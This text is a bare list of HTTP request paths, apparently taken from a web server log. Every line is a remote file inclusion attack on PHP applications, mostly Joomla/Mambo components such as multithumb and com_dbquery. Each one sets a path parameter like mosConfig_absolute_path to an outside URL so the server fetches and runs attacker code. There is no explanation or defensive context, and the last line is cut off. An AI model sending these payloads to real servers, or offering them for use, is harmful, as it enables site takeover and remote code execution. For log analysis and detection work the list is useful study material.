/webanalyse/words.php?action=delNoise&word=to//faqsupport/samplefaqsupport.php?path[docroot]=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.jfc.info/jfcinfo/grafiken/i???
/errors.php?error=http://www.jfc.info/jfcinfo/grafiken/i???
//include/lib.inc.php?site_path=http://geocities.com/febriyunizar/febri.txt?
//versuri//mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://www.helpvenice.com/id.txt??
//versuri//mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://www.helpvenice.com/id.txt??
//versuri//mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://www.helpvenice.com/id.txt??
//versuri//mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://www.helpvenice.com/id.txt??
//versuri/mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://www.helpvenice.com/id.txt??
//versuri/mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://www.helpvenice.com/i |